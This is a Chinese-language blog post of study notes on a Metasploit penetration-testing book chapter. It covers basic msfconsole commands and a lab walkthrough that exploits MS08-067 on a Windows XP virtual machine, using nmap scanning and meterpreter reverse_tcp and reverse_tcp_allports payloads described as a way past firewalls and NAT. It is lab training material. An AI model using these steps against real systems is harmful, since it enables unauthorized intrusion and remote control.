metasploit渗透测试学习指南--第五章--学习笔记

本章侧重于渗透攻击的基本方法。
熟悉metasploit框架中的各种攻击命令
首先复习一下,msf终端,msf攻击载荷生成器,msf编码器
msf终端:metasploit用户接口的方式之一,就是常用的msfconsole
msf攻击载荷生成器:metasploit功能程序的一种,在一些特定场合下,对metasploit某些功能进行直接访问(不用进入msf终端,直接在kali中使用)。命令:msfvenom -h 查看使用方法
msf编码器:对原始攻击载荷进行编码msfveno -l encoders 查看有哪些可用的编码器

1.渗透攻击基础:
show

show exploits
显示出metasploit中所有可用的渗透攻击模块,针对发现的漏洞,实施相应的攻击
在这里插入图片描述

show auxiliary
显示所有的辅助模块,辅助模块用途广泛,各种工具。

在这里插入图片描述
show options
显示保证metasploit框架各个模块正确运行所需设置的各种参数
如果没有选任何参数,显示全局参数
metasploit渗透测试学习指南--第五章--学习笔记_第1张图片

search
查找某个特定的渗透攻击,辅助或是攻击载荷模块
在这里插入图片描述在这里插入图片描述
找到渗透攻击模块之后,用use命令加载模块
在这里插入图片描述
此时表明我们已经选择了ms08_067_netapi模块,这时候在终端输入的命令将在这个攻击模块的环境中运行。

无论当前在哪个模块环境中,都可以使用search和use命令跳转到另一个模块中,也可以使用show命令

show payloads
攻击载荷是针对特定平台的一段攻击代码,通过网络传送到攻击目标执行。
(此时攻击载荷生成器就很有作用,不同的生产结果,不同的输出格式。)

在当前模块命令提示符下输入show payloads,metasploit只会将和当前模块兼容的攻击载荷显示出来
在这里插入图片描述在msf终端输入show payloads会显示出,所有的可用攻击载荷
metasploit渗透测试学习指南--第五章--学习笔记_第2张图片
set payloads 想要使用的攻击载荷
在这里插入图片描述
输入show options显示出该模块的参数配置和已选择的攻击载荷的参数配置
metasploit渗透测试学习指南--第五章--学习笔记_第3张图片

reverse_tcp(反弹是tcp连接):配置让目标主机回连到特定的IP地址和端口号上。反弹式攻击载荷中,连接是由目标主机,并且连接对象是攻击机,可以使用这种技术穿透防火墙或nat网关。

show targets
metasploit的exploits模块通常可以列出受到漏洞影响目标系统的类型。
攻击是否成功取决于目标Windows系统的版本。(仅在该模块下可以使用)
metasploit渗透测试学习指南--第五章--学习笔记_第4张图片
有时候自动选择目标这一共能可能无法正常工作,容易触发错误攻击行为,通常会导致远程服务崩溃。

通常,攻击模块会通过目标操作系统的指纹信息,自动选择操作系统版本进行攻击。最好是人工,自动选择目标容易引发上述问题。

在这里插入图片描述
这个攻击模块会造成被攻击系统的不稳定,而且很难对操作系统做出准确的判断。如果用WindowsXPSP2测试,一定要手动设置好目标操作系统的类型。

info
info 模块名字(具体的名字)
查看模块的详细信息。参数说明,所有可能的操作系统等等。
(若已经选择了某个模块,在该模块的命令提示符下直接输入info即可)

set和unset
metasploit模块中所有参数的两个状态:已设置set,未设置unset。
set:对某个参数进行设置
unset:禁用相关参数

setg和unsetg
这两个命令能对全局命令进行设置或清除。
不必每次遇到某个参数时都重新设置,特别是那些经常用到又很少会变的参数。例:LHOST

save
该命令是将当前的状态保存下来,在下次启动msf终端的时候还可以使用这些设置。
metasploit可以在任何时候使用save命令保存当前的状态。
在这里插入图片描述
想要恢复到原始设置,可以将这个文件删除或者移动
metasploit渗透测试学习指南--第五章--学习笔记_第5张图片如何恢复原始设置:
cd /root/.msf4/config
rm config
Linux中以.开头的文件是隐藏文件 ls -a 显示所有文件,包括隐藏文件

每个命令都可能有很多选项,-h或者–help查看一下

2.我的第一次渗透攻击
攻击metasploitable靶机,
划重点!随着渗透测试技能的不断提高,发现一些特定的开放端口后,能够立刻想到如何利用相应的服务展开攻击
可以看我的另一篇文章–相应的攻击方式的总结:
https://hackerstar.blog.csdn.net/article/details/104841419

攻击WindowsXp靶机:有的人安装WindowsXp特定服务的时候可能会遇到一些问题。
https://hackerstar.blog.csdn.net/article/details/104848591
这篇也是我自己写的,至少是我遇到的问题,希望对大家有帮助。

在这次的攻击中,利用ms08_067漏洞:
1.首先我想要找一下有没有直接针对ms08-067扫描的,auxiliary,结果没找到。
在这里插入图片描述
2.手工扫描:在metasploit中使用nmap的扫描脚本script参数
metasploit渗透测试学习指南--第五章--学习笔记_第6张图片

执行:nmap -sT -A --script=smb-vuln-ms08-067 -P0 192.168.1.150
浏览一下得到的信息:
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
从上面的结果可以看出,这个操作系统的版本的可能结果,和对这台机器发起攻击 的可能性。
注意:攻击是否成功取决于操作系统的版本,安装的服务包版本,语言,是否成功绕过了数据执行保护(DEP)

接着search这个和ms08-067漏洞有关的模块;use使用这个模块并info,查看有关信息。
在这里插入图片描述
观察到有很多目标版本,我自己的是中文简体版本的windowXP系统
metasploit渗透测试学习指南--第五章--学习笔记_第7张图片
所以set target 10
因为自动锁定版本可能会出错,而这个漏洞操作系统的版本要求很高。

最后show options设定相关参数,使用相关载荷,进行攻击。
metasploit渗透测试学习指南--第五章--学习笔记_第8张图片metasploit渗透测试学习指南--第五章--学习笔记_第9张图片
可看到攻击成功。

我们设置的攻击载荷是基于Windows系统的meterpreter reverse_tcp,这个载荷在攻击成功之后,会从目标机发起一个反弹连接,连接到LHOST中指定的IP地址。这种反弹连接可以让你绕过防火墙的入站流量保护,或者穿透NAT网关。

metasploit渗透测试学习指南--第五章--学习笔记_第10张图片

注意这个地方有一个乱码的问题。因为Linux和Windows编码不同,如下操作。
metasploit渗透测试学习指南--第五章--学习笔记_第11张图片
全端口攻击载荷:暴力猜解目标开放的端口
前面的例子是很理想的环境中进行的,我们设置的虚拟机关闭了防火墙,没有任何安保措施。但是实际情况中,目标组织会设置严格的出站端口过滤。很多组织仅仅开放个别特定的端口,很难确定通过哪些端口连接到外部主机上。

metasploit有一个专用的攻击载荷帮助找到这些放行的端口。避免了根据对方开放的服务来手动猜解端口。

在这里插入图片描述
在上面实验的基础上,更改攻击载荷payload。输入:
*set payload windows/meterpreter/reverse_tcp_allports

接下来输入:exploit -j可以看到,两个会话建立成功。
在这里插入图片描述
补充一下exploit的选项:输入 exploit -h
metasploit渗透测试学习指南--第五章--学习笔记_第12张图片
输入:sessions -1 -v列出会话的相关信息
metasploit渗透测试学习指南--第五章--学习笔记_第13张图片
输入:sessions -i 2和会话进行交互
metasploit渗透测试学习指南--第五章--学习笔记_第14张图片
补充一下sessions选项:输入sessions -h
metasploit渗透测试学习指南--第五章--学习笔记_第15张图片
当我们使用set payload windows/meterpreter/reverse_tcp_allports时候,在所有端口进行监听。
在这里插入图片描述
与目标1052端口进行了连接。

资源文件部分在第十二章详细阐述。

你可能感兴趣的:(metasploit渗透测试学习指南--第五章--学习笔记)